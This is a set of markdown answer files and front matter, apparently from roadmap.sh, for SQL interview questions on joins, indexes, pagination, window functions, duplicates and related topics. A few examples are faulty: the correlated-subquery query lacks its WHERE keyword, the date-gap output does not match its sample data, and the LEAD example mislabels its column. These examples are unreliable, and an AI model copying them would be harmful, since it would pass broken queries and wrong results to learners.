    "path": "src/data/question-groups/sql/content/sql-dialects.md",
    "content": "SQL dialects are different implementations of SQL provided by various database systems. They all follow the SQL standard used for working with data stored in multiple tables, but may include extra features or slightly different syntax.\n\nSome common SQL dialects are:\n\n- **MySQL**: Popular for web applications.\n- **PostgreSQL**: Known for its advanced features and standards compliance.\n- **Microsoft SQL Server**: Common in enterprise environments.\n- **SQLite**: Lightweight and used in mobile or embedded applications.\n\n![SQL dialects](https://assets.roadmap.sh/guest/sql-dialect-fsu1k.png)\n\nWhile the core syntax is similar, features like aggregate and scalar functions, JSON handling, or full-text search may vary slightly.\n\nAfter answering the question, feel free to ask which dialect the company uses; it's a great way to learn more about their stack and how they work. "
  },
  {
    "path": "src/data/question-groups/sql/content/sql-ending.md",
    "content": "## Next steps\n\nWhen it comes to interviews, practice really matters and the learning process doesn’t stop. Spending just 30 minutes a day on SQL can make a big difference as your interview gets closer.\n\nTry mixing things up. Use SQL interview flashcards to quiz yourself and explore the  [SQL roadmap](https://roadmap.sh/sql) to go deeper into key concepts.\n\nIt might be tempting to focus only on SQL interview questions and quizzes, but don’t skip the hands-on part. Writing real queries helps you build context for technical and behavioral conversations, especially when the discussion touches on architecture or scale.\n\n"
  },
  {
    "path": "src/data/question-groups/sql/content/sql-index.md",
    "content": "An index helps the database find data faster. It works like a book index, pointing to rows that match a query without scanning the entire table.\n\nFor example, you can create an index on the last name column so that you can retrieve users faster based on their last name:\n\n```sql\n-- Create an index on the last_name column\nCREATE INDEX idx_employee_last_name\nON employees (last_name);\n```\n\n![SQL index](https://assets.roadmap.sh/guest/sql-index-tp3zi.png)\n\nIndexes are great for speeding up searches, data retrieval, and JOIN operations. They're also useful for maintaining performance in large SQL databases where quick lookups matter. "
  },
  {
    "path": "src/data/question-groups/sql/content/sql-injection-prevention.md",
    "content": "SQL injection is a security issue where attackers insert malicious code or SQL statements into a query. This can expose or damage your data.\n\nTo prevent it, use parameterized queries or ORM tools that handle user input safely. "
  },
  {
    "path": "src/data/question-groups/sql/content/sql-joins.md",
    "content": "JOINs let you combine rows from two or more tables based on a related column. These are the most common types:\n\n- `INNER JOIN`: Returns only rows that match in both tables.\n- `LEFT JOIN`: Returns all rows from the left table and matching rows from the right.\n- `RIGHT JOIN`: Returns all rows from the right table and matching rows from the left.\n- `FULL JOIN`: Returns all rows when there's a match in either table.\n\nExample using `LEFT JOIN`:\n\n```sql\n-- Get users and their orders (even if they have none)  \nSELECT users.name, orders.amount  \nFROM users  \nLEFT JOIN orders ON users.id = orders.user_id;\n```\n\nThink of JOIN operations like combining spreadsheets based on related information. "
  },
  {
    "path": "src/data/question-groups/sql/content/sql-pagination.md",
    "content": "When you're dealing with lots of data, it's not practical to load everything at once. Pagination helps you break results into smaller chunks.\n\n**Option 1:** Simple offset-based pagination\n\n```sql\nSELECT *\nFROM products\nORDER BY name\nLIMIT 10 OFFSET 20;  -- Get records 21-30\n```\n\n**Option 2:** Keyset pagination (more efficient for big data)\n\n```sql\nSELECT *\nFROM products\nWHERE (price, id) > (100.00, 12345)  -- Based on last record from previous page\nORDER BY price ASC, id ASC\nLIMIT 10;\n```\n\nOffset-based pagination is easy to use, but it gets slower as the offset increases. Keyset pagination is better for deep scrolling or infinite lists.\n\n> **Want a deeper dive?** Our [**SQL Mastery Course**](https://roadmap.sh/courses/sql) covers indexing, transactions, and other advanced security patterns. "
  },
  {
    "path": "src/data/question-groups/sql/content/sql-subsets.md",
    "content": "SQL is divided into several functional subsets:\n\n- **Data Definition Language (DDL)**: Used to define or modify database structure. This includes commands like  `CREATE`, `ALTER`, and `DROP`. For example, the `ALTER` table statement can be used to add, rename, and remove columns in a table.\n- **Data Manipulation Language (DML)**: Used to insert, update, delete, or retrieve data. This includes commands like `SELECT`, `INSERT`, `UPDATE`, and `DELETE`. For example, the `UPDATE` statement can be used to change a user's email based on their ID\n- **Data Control Language (DCL)**: Manages access to data by granting or revoking permissions. This includes commands like `GRANT` and `REVOKE`. For example, the `GRANT` statement can be used to give a user permission to select data from a table.\n\n![SQL subsets](https://assets.roadmap.sh/guest/sql-subsets-ya1je.png)\n\nThe major difference between these subsets lies in their purpose:\n\n- **DDL** affects the structure of the database.\n- **DML** interacts with the data itself.\n- **DCL** governs who can do what within the database system. "
  },
  {
    "path": "src/data/question-groups/sql/content/sql-view.md",
    "content": "A **view** is a virtual table defined by a query. It simplifies complex joins or enforces read‑only access.\n\n```sql\nCREATE VIEW active_users AS\nSELECT * FROM users WHERE status = 'active';\n```\n\nViews are useful when you want to abstract complexity from end users or create role-based access to specific slices of your data. "
  },
  {
    "path": "src/data/question-groups/sql/content/sql-vs-other-languages.md",
    "content": "SQL is a **declarative** language. You tell the database *what* you want (for example, \"Get me a list of all active customers\") without writing out the step-by-step logic to retrieve it. The database engine figures out how to execute your request.\n\nIn contrast, languages like Java or Python are **imperative**; you write code that explains *how* to do something, including loops, conditions, and memory management.\n\n![SQL vs. other programming language](https://assets.roadmap.sh/guest/sql--vs-other-programming-language-qzfiy.png)\n\n```sql\n-- Declarative: I want all active customers\nSELECT * \nFROM customers \nWHERE status = 'active';\n``` "
  },
  {
    "path": "src/data/question-groups/sql/content/stored-procedures.md",
    "content": "Stored procedures are like saved functions in your SQL code that you write once and can run repeatedly. They're stored directly in the database, which gives them a few benefits:\n\n- **Performance**: Since they're precompiled, they often run faster than regular SQL queries.\n- **Security**: You can control who gets to run them and avoid exposing raw queries.\n- **Less network traffic**: Instead of sending multiple queries from your app to the database, you just call the procedure.\n- **Reusable logic**: You can call the same procedure from different apps or parts of your system.\n- **Easier to manage**: Business logic lives in one place, which helps with maintenance.\n\n![Stored procedure use case](https://assets.roadmap.sh/guest/stored-procedure-use-case-4nenq.png)\n\nFor example, if you have an application that constantly pulls employee data, you can create a stored procedure for it to optimize the process.\n\n```sql\n-- Create a stored procedure to get employees by department\nCREATE PROCEDURE GetEmployeesByDepartment\n    @DepartmentID INT\nAS\nBEGIN\n    SELECT name, hire_date, salary\n    FROM employees\n    WHERE department_id = @DepartmentID\n    ORDER BY hire_date DESC;\nEND;\n\n-- Call the procedure\nEXEC GetEmployeesByDepartment @DepartmentID = 3;\n```\n\nStored procedures are especially useful in enterprise systems where performance, security, and consistent logic are important. "
  },
  {
    "path": "src/data/question-groups/sql/content/subquery-usage.md",
    "content": "A subquery is a query inside another query. It helps when you want to:\n\n- Filter using aggregated data.\n- Compare a value against a dynamic list.\n- Create a temporary table for use in your main query.\n\nUse cases include checking which employees work in a particular location or identifying orders above a calculated average.\n\n```sql\n-- Subquery in WHERE clause\nSELECT name\nFROM employees\nWHERE department_id IN (\n    SELECT id \n    FROM departments \n    WHERE location = 'New York'\n);\n``` "
  },
  {
    "path": "src/data/question-groups/sql/content/union-vs-union-all.md",
    "content": "Both combine results from two or more SELECT queries. The key difference is:\n\n- `UNION` removes duplicate rows from a table.\n- `UNION ALL` keeps all rows, including duplicates.\n\n`UNION ALL` is faster because it skips the deduplication step. Use `UNION` when you want a clean list of unique values. "
  },
  {
    "path": "src/data/question-groups/sql/content/where-vs-having.md",
    "content": "You use **WHERE** for filtering rows before applying any grouping or aggregation. \nThe code snippet below illustrates the use of **WHERE**. It filters the `Users` table for rows where the `Age` is greater than 18. \n\n```sql\nSELECT * FROM Users\nWHERE Age > 18;\n```\n\nThe result of the query is similar to the table below.\n\n| userId | firstName | lastName | age |\n| ------ | --------- | -------- | --- |\n| 1      | John      | Doe      | 30  |\n| 2      | Jane      | Don      | 31  |\n| 3      | Will      | Liam     | 25  |\n| 4      | Wade      | Great    | 32  |\n| 5      | Peter     | Smith    | 27  |\n\nOn the other hand, you use **HAVING** to filter groups after performing grouping and aggregation. You apply it to the result of aggregate functions, and it is mostly used with the **GROUP BY** clause.\n\n```sql\nSELECT FirstName, Age FROM Users\nGROUP BY FirstName, Age\nHAVING Age > 30;\n```\n\nThe code above selects the `FirstName` and `Age` columns, then groups by the `FirstName` and `Age`, and finally gets entries with age greater than 30. The result of the query looks like this:\n\n| firstName | age |\n| --------- | --- |\n| Wade      | 32  |\n| Jane      | 31  |"
  },
  {
    "path": "src/data/question-groups/sql/sql.md",
    "content": "---\norder: 1\nbriefTitle: 'SQL'\nbriefDescription: 'Master 30 common SQL interview questions with practical examples, flashcards, and tips for writing queries without autocomplete during live interviews.'\ntitle: 'Top 30 SQL Interview Questions and Answers (With Quiz)'\ndescription: 'Master 30 common SQL interview questions with practical examples, flashcards, and tips for writing queries without autocomplete during live interviews.'\nauthorId: 'ekene'\nending: 'sql-ending.md'\nisNew: true\ndate: 2025-06-17\nseo:\n  title: 'Top 30 SQL Interview Questions and Answers (With Quiz)'\n  description: 'Master 30 common SQL interview questions with practical examples, flashcards, and tips for writing queries without autocomplete during live interviews.'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/sql-queries-interview-questions-and-answers-q3qua.jpg'\n  keywords: \n    - 'sql quiz' \n    - 'sql questions' \n    - 'sql interview questions' \n    - 'sql interview' \n    - 'sql test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n    - question: How is SQL different from other programming languages?\n      answer: sql-vs-other-languages.md\n      topics:\n      - 'Beginners'\n    - question: What are SQL dialects?\n      answer: sql-dialects.md\n      topics:\n      - 'Beginners'\n    - question: What are the types of SQL subsets, and how are they different?\n      answer: sql-subsets.md\n      topics:\n      - 'Beginners'\n    - question: What is a primary key?\n      answer: primary-key.md\n      topics:\n      - 'Beginners'\n    - question: Explain SQL constraints like NOT NULL, UNIQUE, and CHECK.\n      answer: sql-constraints.md\n      topics:\n      - 'Beginners'\n    - question: What is the difference between WHERE and HAVING?\n      answer: where-vs-having.md\n      topics:\n      - 'Beginners'\n    - question: What is a foreign key?\n      answer: foreign-key.md\n      topics:\n      - 'Beginners'\n    - question: What are the different types of JOINs in SQL?\n      answer: sql-joins.md\n      topics:\n      - 'Intermediate'\n    - question: How do you use a subquery?\n      answer: subquery-usage.md\n      topics:\n      - 'Intermediate'\n    - question: What is an index and why is it useful?\n      answer: sql-index.md\n      topics:\n      - 'Intermediate'\n    - question: What is the difference between UNION and UNION ALL?\n      answer: union-vs-union-all.md\n      topics:\n      - 'Intermediate'\n    - question: What is the difference between RANK(), DENSE_RANK(), and ROW_NUMBER()?\n      answer: ranking-functions.md\n      topics:\n      - 'Intermediate'\n    - question: What is a correlated subquery?\n      answer: correlated-subquery.md\n      topics:\n      - 'Intermediate'\n    - question: How can you find duplicate records in a table?\n      answer: find-duplicates.md\n      topics:\n      - 'Intermediate'\n    - question: What is a view?\n      answer: sql-view.md\n      topics:\n      - 'Intermediate'\n    - question: What is SQL injection, and how do you prevent it?\n      answer: sql-injection-prevention.md\n      topics:\n      - 'Intermediate'\n    - question: What are the advantages of stored procedures?\n      answer: stored-procedures.md\n      topics:\n      - 'Advanced'\n    - question: What is database normalization, and why is it important?\n      answer: database-normalization.md\n      topics:\n      - 'Advanced'\n    - question: How do you handle database transactions in SQL?\n      answer: database-transactions.md\n      topics:\n      - 'Advanced'\n    - question: What is the difference between clustered and non-clustered indexes?\n      answer: clustered-vs-nonclustered-indexes.md\n      topics:\n      - 'Advanced'\n    - question: How do you optimize a slow-performing query?\n      answer: query-optimization.md\n      topics:\n      - 'Advanced'\n    - question: How would you implement pagination in SQL?\n      answer: sql-pagination.md\n      topics:\n      - 'Advanced'\n    - question: How many patients have registered in the past 6 months?\n      answer: patients-registration-query.md\n      topics:\n      - 'Practical Queries'\n    - question: What's the average treatment cost per appointment?\n      answer: average-treatment-cost.md\n      topics:\n      - 'Practical Queries'\n    - question: List patients who had more than 3 appointments.\n      answer: patients-multiple-appointments.md\n      topics:\n      - 'Practical Queries'\n    - question: Which doctor has treated the highest number of unique patients?\n      answer: doctor-most-patients.md\n      topics:\n      - 'Practical Queries'\n    - question: What's the total revenue generated from treatments last month?\n      answer: revenue-last-month.md\n      topics:\n      - 'Practical Queries'\n    - question: Find the most common diagnosis.\n      answer: most-common-diagnosis.md\n      topics:\n      - 'Practical Queries'\n    - question: Which appointments were scheduled but never had a treatment recorded?\n      answer: appointments-no-treatment.md\n      topics:\n      - 'Practical Queries'\n    - question: Which patients haven't visited in over a year?\n      answer: patients-no-recent-visits.md\n      topics:\n      - 'Practical Queries'    \n---\n\n![SQL interview questions and answers](https://assets.roadmap.sh/guest/sql-queries-interview-questions-and-answers-q3qua.jpg)\n\nIn this guide, I’ll walk you through 30 essential questions, from basic joins to advanced window functions, and share practical tips for writing and debugging queries on the spot. Each answer includes simple, practical examples (such as customer analysis and inventory tracking) so you’ll learn the syntax and know when and why to use it. By the end, you’ll have the confidence to tackle any live SQL test and the know-how to put these patterns to work.\n \nTo help you prepare and practice more effectively, I’ve included a collection of flashcards that make self-testing easier. Check out the [SQL roadmap](https://roadmap.sh/sql) for an even deeper dive into the topics covered in this guide.\n\n\n## Getting ready for your SQL interview\n\nYou’ve probably heard the saying, “Failure to prepare is preparing to fail.” It couldn’t be more true when it comes to interviews. Before practicing questions, ensure you’ve got the basics covered. Here are a few key areas you’ll want to brush up on before heading into your interview:\n\n- Read up on core SQL concepts like data types, statements, and clauses.\n- Practice working with tables. Joining tables using different types of joins, along with clauses like `ON` and `USING`, is key to retrieving and aggregating data.\n- Get comfortable with data manipulation tasks like inserting, updating, and deleting records.\n- Learn the fundamentals of database design, including normalization, constraints, and performance tuning.\n- Beyond syntax, sharpen your problem-solving, logical thinking, and communication skills. Interviews often test how clearly you explain your thought process, not just how well you write code.\n\n## Icebreaker SQL questions\n\nBefore exploring technical questions, some interviewers might start with general ones like “How long have you been working with SQL?”, “How would you rate your proficiency in SQL on a scale?”, or “What are some common SQL syntax used for data manipulation?” These questions often help start the conversation and make you feel more comfortable.\n\nEven if this information is already in your CV or resume, be ready to speak about it. Practice giving crisp and honest answers that capture your SQL experience.\n\nWith that covered, let’s explore the questions you need to get familiar with as you prepare for your interview."
  },
  {
    "path": "src/data/question-groups/sql-queries/content/avoid-select-star.md",
    "content": "You should avoid using **SELECT ***  as much as possible in your production code for the following reasons:\n\n- **Increased IO**: Using **SELECT ***, you can return unnecessary data that leads to increased Input/Output cycles at the database level since you will be reading all the data in a table. This effect will be more impactful on a table with a lot of data and even slow down your query.\n\n- **Increased network traffic**: **SELECT *** returns more data than required to the client, which uses more network bandwidth than needed. The increase in network bandwidth causes data to take longer to reach the client application and impacts the application's performance.\n\n- **More application memory**: The return of a lot of data would make your application require more memory to hold the unnecessary data which might you might not use and this impacts application performance.\n\n- **Makes maintenance more difficult**: Using **SELECT *** makes code maintenance more challenging. If the table structure changes by adding, removing, or renaming columns, the queries using **SELECT *** could break unexpectedly. You should explicitly specify the columns from which you want to fetch data to ensure resilience against potential changes in the database schema. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/correlated-subquery.md",
    "content": "A correlated subquery is a subquery that depends on a value from the outer query. This means that the query is evaluated for each row that might be selected in the outer query. Below is an example of a correlated subquery.\n\n```sql\nSELECT name, country_id, salary\nFROM employees em\nWHERE salary > (\n  SELECT AVG(salary) FROM employees\n  country_id = em.country_id);\n```\n\nThe code above:\n\n- Runs the outer query through each row of the table.\n- Takes the `country_id` from the `employees` table.\n- Iterates through the other rows and does the same calculation.\n\nThis leads to a degrading performance as the data in the table grows. \n\nYou should use a correlated subquery if you want to perform row-specific operations or cannot achieve an operation using JOIN or other aggregate functions. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/count-star-vs-count-column.md",
    "content": "The difference is that **COUNT(*)** counts all the rows of data, including NULL values, while **COUNT(column_name)** counts only non-NULL values in the specified column. Let's illustrate this using a table named `Users`.\n\n| userId | firstName | lastName | age | country  |\n| ------ | --------- | -------- | --- | -------- |\n| 1      | John      | Doe      | 30  | Portugal |\n| 2      | Jane      | Don      | 31  | Belgium  |\n| 3      | Zach      | Ridge    | 30  | Norway   |\n| 4      | null      | Tom      | 25  | Denmark  |\n\nIf you use **COUNT(*)**, the result will be 4 but if you use **COUNT(firstName)**, it will return 3, omitting the null value. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/count-users-by-country.md",
    "content": "Given a table `Users` that looks like this:\n\n| userId | firstName | lastName | age | country   |\n| ------ | --------- | -------- | --- | --------- |\n| 1      | John      | Doe      | 30  | Portugal  |\n| 2      | Jane      | Don      | 31  | Belgium   |\n| 3      | Will      | Liam     | 25  | Argentina |\n| 4      | Wade      | Great    | 32  | Denmark   |\n| 5      | Peter     | Smith    | 27  | USA       |\n| 6      | Rich      | Mond     | 30  | USA       |\n| 7      | Rach      | Mane     | 30  | Argentina |\n| 8      | Zach      | Ridge    | 30  | Portugal  |\n\nThe query to **COUNT** the number of users by country is:\n\n```sql\nSELECT country, COUNT(country) FROM users\nGROUP BY country\n```\n\nThe query uses the **GROUP BY** clause to group the users by country and then shows the count in the next column. The result of the query looks like this:\n\n| country   | count |\n| --------- | ----- |\n| USA       | 2     |\n| Portugal  | 2     |\n| Argentina | 2     |\n| Belgium   | 1     |\n| Denmark   | 1     | "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/detect-date-gaps.md",
    "content": "You will use the **LAG()** function to detect gaps in a sequence of dates per user. You will compare each date with the previous one and check if the difference is greater than 1.  \n\nLet's use a table `ClockIns` to demonstrate how you detect gaps. The table has two columns, `userId` and `clockInDate`, representing the user identification number and the date the user clocked in with an access card into a facility. The table looks like this:\n\n| userId | clockInDate |\n| ------ | ----------- |\n| 1      | 2025-01-01  |\n| 1      | 2025-01-02  |\n| 1      | 2025-01-05  |\n| 1      | 2025-01-06  |\n| 2      | 2025-01-06  |\n| 2      | 2025-01-06  |\n| 2      | 2025-01-07  |\n| 3      | 2025-01-02  |\n| 3      | 2025-01-04  |\n| 3      | 2025-01-06  |\n| 3      | 2025-01-07  |\n\nTo query to find gaps per user looks like this:\n\n```sql\nWITH clockInGaps AS (\n  SELECT\n    userid,\n    clockInDate,\n    LAG(clockInDate) OVER (PARTITION BY userId ORDER BY clockInDate) AS previousClockInDate\n  FROM\n    clockIns\n)\n\nSELECT \n  userId,\n  previousClockInDate AS gapStart,\n  clockInDate AS gapEend,\n  clockInDate - previousClockInDate - 1 AS gapDays\nFROM clockInGaps\nWHERE clockInDate - previousClockInDate > 1\nORDER BY userId, gapStart;\n```\n\nThe code above starts with creating an expression `clockInGaps` that queries for each user and their `clockInDate` and uses the `LAG` function to get the previous date for each user. Then, the main query filters each row and finds the gaps between the current date and the previous date. The result of the query looks like this:\n\n| userId | gapStart   | gapEnd     | gapDays |\n| ------ | ---------- | ---------- | ------- |\n| 1      | 2025-01-02 | 2025-01-05 | 2       |\n| 2      | 2025-01-07 | 2025-01-10 | 2       |\n| 3      | 2025-01-02 | 2025-01-04 | 1       |\n| 3      | 2025-01-04 | 2025-01-06 | 1       | "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/employees-above-average-salary.md",
    "content": "Given an `Employees` table with columns `id`, `name`, and `salary` that looks like this:\n\n| id | name     | salary |\n| -- | -------- | ------ |\n| 1  | Irene    | 1000   |\n| 2  | Peter    | 1230   |\n| 3  | Raymond  | 1450   |\n| 4  | Henry    | 1790   |\n| 5  | Naomi    | 2350   |\n| 6  | Bridget  | 2000   |\n| 7  | Emily    | 2500   |\n| 8  | Great    | 3000   |\n| 9  | Mercedes | 2750   |\n| 10 | Zoe      | 2900   |\n\nThe query to find employees earning more than the average salary is:\n\n```sql\nSELECT * FROM employees\nWHERE salary > (SELECT AVG(salary) FROM employees);\n```\n\n| id | name     | salary |\n| -- | -------- | ------ |\n| 5  | Naomi    | 2350   |\n| 7  | Emily    | 2500   |\n| 8  | Great    | 3000   |\n| 9  | Mercedes | 2750   |\n| 10 | Zoe      | 2900   | "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/exists-vs-in.md",
    "content": "**EXISTS** and **IN** are used in subqueries to filter results, but they perform different functions depending on their usage. \n\nYou should use **EXISTS** in the following situations:\n\n- When you want to check if a row exists and not the actual values.\n- When the subquery is a correlated query.\n- When the subquery returns many rows but you want to get the first match.\n\nYou should use **IN** in the following scenarios:\n\n- When you are comparing a column to a list of values.\n- When the subquery returns a small or static list. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/find-duplicates.md",
    "content": "To find duplicate records, you must first define the criteria for detecting duplicates. Is it a combination of two or more columns where you want to detect the duplicates, or are you searching for duplicates within a single column?\n\nThe following steps will help you find duplicate data in a table.\n\n- Use the **GROUP BY** clause to group all the rows by the column(s) on which you want to check the duplicate values.\n- Use the **COUNT** function in the **HAVING** command to check if any groups have more than one entry.\n\nLet's see how to handle single-column duplicates. In a table `Users`, there are three users who are 30 years of age. Let's use the **GROUP BY** clause and **COUNT** function to find the duplicate values.\n\n```sql\nSELECT Age, COUNT(Age)\nFROM Users\nGROUP BY Age\nHAVING COUNT(Age) > 1\n```\n\nThe result of the query looks like this:\n\n| age | count |\n| --- | ----- |\n| 30  | 3     |\n\nHandling multi-column (composite) duplicates is similar to handling single-column duplicates.\n\n```sql\nSELECT FirstName, LastName, COUNT(*) AS dup_count\nFROM Users\nGROUP BY FirstName, LastName\nHAVING COUNT(*) > 1;\n```\n\nAfter finding duplicates, you might be asked how to delete the duplicates. The query to delete duplicates is shown below using Common Table Expression (CTE) and ROW_NUMBER().\n\n```sql\nWITH ranked AS (\n  SELECT *,\n         ROW_NUMBER() OVER (PARTITION BY Age ORDER BY id) AS rn\n  FROM Users\n)\nDELETE FROM Users\nWHERE id IN (\n  SELECT id\n  FROM ranked\n  WHERE rn > 1\n);\n```\n\nThe query deletes all the duplicates while retaining the first row of data. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/foreign-key.md",
    "content": "A foreign key is like a bridge between two tables. A foreign key in one table is the primary key in another. It is the connector between the two tables. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/group-by-mistakes.md",
    "content": "The common mistakes people encounter when using the **GROUP BY** clause include:\n\n- **Selecting non-aggregated columns not in the GROUP BY clause:** This is a common mistake made my beginners and experts. An example query of this looks like this:\n\n```sql\nSELECT day, amount FROM Sales\nGROUP BY day\n```\n\nIn the query above, the `amount` column is not part of the `GROUP BY` clause and will throw an error that it must appear in the `GROUP BY` clause. To fix this, you should add an aggregate function to the amount column.\n\n```sql\nSELECT day, MAX(amount) FROM Sales\nGROUP BY day\n```\n\n- **Not using aggregate functions:** It is also a common mistake to use `GROUP BY` without aggregate functions. `GROUP BY` usually goes with aggregate functions like `MAX`, `MIN`, `COUNT`, etc.\n- **Grouping by multiple columns**: Grouping by multiple columns can make the query meaningless. It is not common to group by many columns, and when this happens, you should check if you really need to group by those columns. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/group-by-without-aggregate.md",
    "content": "If you use the **GROUP BY** clause without an aggregate function, it is equivalent to using the **DISTINCT** command. For example, the command below:\n\n```sql\nSELECT phoneNumber FROM phoneNumbers\nGROUP BY phoneNumber\n```\n\nis equivalent to:\n\n```sql\nSELECT DISTINCT phoneNumber FROM phoneNumbers\n``` "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/group-by-work.md",
    "content": "**GROUP BY** is a standard SQL command that groups rows with the same value in the specified column. You should use with aggregate functions such as **COUNT**, **MIN**, **MAX,** etc.\n\n![GROUP BY](https://assets.roadmap.sh/guest/group-by-wc8aw.png)\n\nThe query below illustrates the **GROUP BY** clause:\n\n```sql\nSELECT columnName FROM Table\nGROUP BY columnName\n``` "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/indexes-usefulness.md",
    "content": "Indexes in databases are like the indexes in books. They increase the speed of data retrieval from a database. When you want to read data from a table, instead of going through all the rows of the table, indexes help to go straight to the row you are looking for. \n\n![Types of Indexes](https://assets.roadmap.sh/guest/types-of-indexes-ntfsk.png)\n\nThey improve **SELECT** queries, improve performance, and make sorting and filtering faster. They also ensure data integrity. There are different types of indexes, which include:\n\n- B-Tree index\n- Composite index\n- Unique index\n- Full text index\n- Bitmap index\n- Clustered index\n- Non-clustered index "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/inner-join-vs-left-join.md",
    "content": "A **JOIN** combines data from two or more tables based on a related column between them. It is useful when you need to retrieve data spread across multiple tables in relational database management systems.\n\nAn **INNER JOIN** returns only rows with a match in both tables based on the specified join condition. If there are no matching rows, there will be no results. The SQL syntax for an **INNER JOIN** is shown in the code snippet below.\n\n![Inner join vs. Left join](https://assets.roadmap.sh/guest/inner-join-vs-left-join-tifdp.png)\n\n```sql\nSELECT table1.column_name1, table1.column_name2, table2.column_name1, table2.column_name2 FROM table1\nINNER JOIN table2\nON table1.column_name = table2.column_name\n```\n\nFor example, there are two tables `Users` and `Cities` with the following data:\n\n**Users table**\n\n| userId | firstName | lastName | age | cityId |\n| ------ | --------- | -------- | --- | ------ |\n| 1      | John      | Doe      | 30  | 1      |\n| 2      | Jane      | Don      | 31  | 1      |\n| 3      | Will      | Liam     | 25  | 1      |\n| 4      | Wade      | Great    | 32  | 1      |\n| 5      | Peter     | Smith    | 27  | 2      |\n| 6      | Rich      | Mond     | 30  | 2      |\n| 7      | Rach      | Mane     | 30  | 2      |\n| 8      | Zach      | Ridge    | 30  | 3      |\n\n**Cities table**\n\n| id | name       |\n| -- | ---------- |\n| 1  | London     |\n| 2  | Manchester |\n\nLet's say you want to retrieve a list of users and their respective city names. You can achieve this using the **INNER JOIN** query.\n\n```sql\nSELECT users.firstName, users.lastName, users.age, cities.name as cityName FROM users\nINNER JOIN cities\nON users.cityId = cities.id\n```\n\n| firstName | lastName | age | cityName   |\n| --------- | -------- | --- | ---------- |\n| John      | Doe      | 30  | London     |\n| Jane      | Don      | 31  | London     |\n| Will      | Liam     | 25  | London     |\n| Wade      | Great    | 32  | London     |\n| Peter     | Smith    | 27  | Manchester |\n| Rich      | Mond     | 30  | Manchester |\n| Rach      | Mane     | 30  | Manchester |\n\n**LEFT JOIN** returns all the rows from the left table (table 1) and the matched rows from the right table (table 2). If no matching rows exist in the right table (table 2), then NULL values are returned. The SQL syntax for a Left join is shown in the code snippet below.\n\n```sql\nSELECT table1.column_name1, table1.column_name2, table2.column_name1, table2.column_name2 FROM table1\nLEFT JOIN table2\nON table1.column_name = table2.column_name \n```\n\nLet's have a look at a practical example with `Users` and `Cities` tables from before.\n\nWhen you execute the **LEFT JOIN** query, you get the table below.\n\n| firstName | lastName | age | cityName   |\n| --------- | -------- | --- | ---------- |\n| John      | Doe      | 30  | London     |\n| Jane      | Don      | 31  | London     |\n| Will      | Liam     | 25  | London     |\n| Wade      | Great    | 32  | London     |\n| Peter     | Smith    | 27  | Manchester |\n| Rich      | Mond     | 30  | Manchester |\n| Rach      | Mane     | 30  | Manchester |\n| Zach      | Ridge    | 30  | null       | "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/lag-lead-functions.md",
    "content": "**LAG()** and **LEAD()** are window functions used to retrieve data from rows before and after a specified row. You can also refer to them as positional SQL functions.\n\n**LAG()** allows you to access a value stored in rows before the current row. The row may be directly before or some rows before. Let's take a look at the syntax:\n\n```sql\nLAG(column_name, offset, default_value)\n```\n\nIt takes three arguments.\n\n- **column_name**: This specifies the column to fetch from the previous row.\n- **offset**: This is an optional argument and specifies the number of rows behind to look at. The default is 1.\n- **default_value**: This is the value to assign when no previous row exists. It is optional, and the default is NULL.\n\nUsing the `Sales` table, let's illustrate the **LAG()** function. The query is used to find the previous day sales. LAG() is useful when you want to create reports of past events.\n\n| id | day       | amount |\n| -- | --------- | ------ |\n| 1  | Monday    | 200    |\n| 2  | Tuesday   | 300    |\n| 3  | Wednesday | 600    |\n| 4  | Thursday  | 390    |\n| 5  | Friday    | 900    |\n| 6  | Saturday  | 600    |\n\n```sql\nSELECT\n  id,\n  day,\n  amount,\n  LAG(amount) OVER (ORDER BY id) AS previous_day_sales\nFROM\n  sales;\n```\n\nThe result of the query looks like this:\n\n| id | day       | amount | previous_day_sales |\n| -- | --------- | ------ | ------------------ |\n| 1  | Monday    | 200    | null               |\n| 2  | Tuesday   | 300    | 200                |\n| 3  | Wednesday | 600    | 300                |\n| 4  | Thursday  | 390    | 600                |\n| 5  | Friday    | 900    | 390                |\n| 6  | Saturday  | 600    | 900                |\n\nYou use the **LEAD()** function to get data from rows after the current row. Its syntax is similar to that of the **LAG()** function. You can use it for forecasting future trends by looking ahead.\n\nThe query using the **LEAD()** function is shown below.\n\n```sql\nSELECT\n  id,\n  day,\n  amount,\n  LEAD(amount) OVER (ORDER BY id) AS previous_day_sales\nFROM\n  sales;\n```\n\n| id | day       | amount | previous_day_sales |\n| -- | --------- | ------ | ------------------ |\n| 1  | Monday    | 200    | 300                |\n| 2  | Tuesday   | 300    | 600                |\n| 3  | Wednesday | 600    | 390                |\n| 4  | Thursday  | 390    | 900                |\n| 5  | Friday    | 900    | 600                |\n| 6  | Saturday  | 600    | null               | "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/missing-indexes-impact.md",
    "content": "Missing indexes can affect the performance of queries, especially when the data grows. The major impacts of missing indexes are listed below:\n\n- **Slow queries**: Without indexes, every read query will go through the whole table to find matching rows. This will get worse as the data in the table grows.\n- **Locking and concurrency issues**: Scanning a table without indexes takes longer, and locking the table can prevent other queries from running, affecting application performance.\n- **Inefficient joins**: Joins on tables without indexes on the join keys are extremely slow and result in bad query performance.\n- **Poor user experience**: Missing indexes can lead to poor user experience in your applications. It can result to slower page loads, application hanging when data is being fetched from the database. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/nested-subqueries.md",
    "content": "Yes, you can nest subqueries multiple levels deep when you want to perform complex logic. A nested subquery is a subquery inside another subquery, forming layers of subqueries. Many SQL engines allow multiple layers of subqueries, but this causes poor readability and degrades performance. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/not-in-null-issues.md",
